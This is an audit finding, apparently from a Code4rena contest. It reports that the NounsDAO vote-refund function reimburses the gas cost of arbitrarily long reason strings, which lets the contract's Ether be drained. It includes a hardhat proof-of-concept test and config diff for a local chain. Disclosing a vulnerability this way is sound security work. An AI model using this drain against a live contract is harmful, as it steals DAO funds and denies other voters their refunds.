Lines of code

https://github.com/code-423n4/2022-08-nounsdao/blob/45411325ec14c6d747b999a40367d3c5109b5a89/contracts/governance/NounsDAOLogicV2.sol#L518-L524 https://github.com/code-423n4/2022-08-nounsdao/blob/45411325ec14c6d747b999a40367d3c5109b5a89/contracts/governance/NounsDAOLogicV2.sol#L533-L544 https://github.com/code-423n4/2022-08-nounsdao/blob/45411325ec14c6d747b999a40367d3c5109b5a89/contracts/governance/NounsDAOLogicV2.sol#L98

Vulnerability details

Voters can burn large amounts of Ether by submitting votes with long reason strings

Description

The only limits to how long a string argument to a function call can be is the block gas limit of the EVM, currently 30 million. It is therefore possible for a user to call NounsDAOLogicV2.castRefundableVoteWithReason() with a very, very long reason string. castRefundableVoteInternal() emits an event that includes reason on line 540, which is within the region of code covered by gas refunds (gas refunds are measured from startGas on line 538). Because of this, gas refunds will include the gas price of emitting this event, which could potentially be very large.

Impact

This issue is partially mitigated by the fact that the voter will still bear the cost of the massive calldata usage. NounsDAOLogicV2 covers this with a fixed value of REFUND_BASE_GAS (36000), but the real transaction overhead is far larger when submitting a reason string that is many thousands of characters in length. Therefore, the voter ends up losing roughly as much as is drained from the NounsDAOLogicV2 contract by the refund. Nonetheless, I still think this is a valid high funding as the protocol will not want to rely purely on this economic protection. Some risk scenarios: 1) It is quite possible that calldata prices could decrease in future, perhaps as part of catering for rollups. This could make the attack suddenly far more viable. 2) A voter might have some motive to want to emit some arbitrary text as an Ethereum event, and simply exploit this system to do so. 3) A voter might want to maliciously drain the Ether, perhaps to damage the protocol's reputation. 4) As in 3, this could be achieved by emptying out the last funds in `NounsDAOLogicV2 and so denying many other voters their voting refunds.

Tools Used

Code inspection, hardhat testing

Recommended Mitigation Steps

2 alternative ideas: 1) Move the emit VoteCast outside of the gas calculation region of the code and increase REFUND_BASE_GAS to cover an event with a reasonable length of string. 2) Change the type of reason to bytes and add a check to its length in castRefundableVoteWithReason(), reverting if it is too long.

Proof of Concept

The single vote in this test burns around 0.25 Ether from the NounsDAOLogicV2 contract. This test runs slowly and is assuming a base fee of 500 gwei. Obviously if the base fee were higher, the gas burnt would also be higher. The numbers are printed out with a rather messy console.log() in the middle of the test output. Apologies for the bad presentation, but on the bright side you can adjust the numbers and see different results.

diff --git a/hardhat.config.ts b/hardhat.config.ts
index 6d469b0..dc51148 100644
--- a/hardhat.config.ts
+++ b/hardhat.config.ts
@@ -34,7 +34,7 @@ const config: HardhatUserConfig = {
         : [process.env.WALLET_PRIVATE_KEY!].filter(Boolean),
     },
     hardhat: {
-      initialBaseFeePerGas: 0,
+      initialBaseFeePerGas: 500_000_000_000,
     },
   },
   etherscan: {
@@ -50,12 +50,12 @@ const config: HardhatUserConfig = {
   gasReporter: {
     enabled: !process.env.CI,
     currency: 'USD',
-    gasPrice: 50,
+    gasPrice: 500,
     src: 'contracts',
     coinmarketcap: '7643dfc7-a58f-46af-8314-2db32bdd18ba',
   },
   mocha: {
-    timeout: 60_000,
+    timeout: 600_000,
   },
 };
 export default config;

diff --git a/test/governance/NounsDAO/V2/voteRefund.test.ts b/test/governance/NounsDAO/V2/voteRefundPOC.test.ts
index d34ff4b..4c268a3 100644
--- a/test/governance/NounsDAO/V2/voteRefund.test.ts
+++ b/test/governance/NounsDAO/V2/voteRefundPOC.test.ts
@@ -162,6 +162,30 @@ describe('Vote Refund', () => {
   });

   describe('castRefundableVoteWithReason', () => {
+    it("accepts excessively long reason strings", async () => {
+      await fundGov();
+      const balanceBefore = await user.getBalance();
+      const govBalanceBefore = await ethers.provider.getBalance(gov.address);
+      const tx = await gov
+        .connect(user)
+        .castRefundableVoteWithReason(1, 1, junkString(50_000), {
+          maxPriorityFeePerGas: MAX_PRIORITY_FEE_CAP,
+          gasLimit: 24000000,
+        });
+      const r = await tx.wait();
+      const balanceDiff = balanceBefore.sub(await user.getBalance());
+      const govBalanceDiff = govBalanceBefore.sub(
+        await ethers.provider.getBalance(gov.address)
+      );
+      const govBalanceAfter = await ethers.provider.getBalance(gov.address);
+      console.log("USER BALANCE DIFF:", ethers.utils.formatEther(balanceDiff));
+      console.log(
+        "GOV BALANCE DIFF:",
+        ethers.utils.formatEther(govBalanceDiff)
+      );
+      console.log("TX COST:", ethers.utils.formatEther(await txCostInEth(r)));
+
+    });
     it('refunds users with votes', async () => {
       await fundGov();
       const balanceBefore = await user.getBalance();
@@ -284,6 +308,15 @@ describe('Vote Refund', () => {
     expect(refundEvent!.args!.refundAmount).to.be.closeTo(expectedCost, REFUND_ERROR_MARGIN);
   }

+  function junkString(iterations: number = 100) {
+    var x = "Ab Cd Ef Gh Ij ";
+    const y = "Ab Cd Ef Gh Ij";
+    for (var i = 0; i < iterations; i++) {
+      x += y;
+    }
+    return x;
+  }
+
   async function submitProposal(u: SignerWithAddress) {
     await gov
       .connect(u)

code-423n4 / 2022-08-nounsdao-findings

Voters can burn large amounts of Ether by submitting votes with long reason strings #174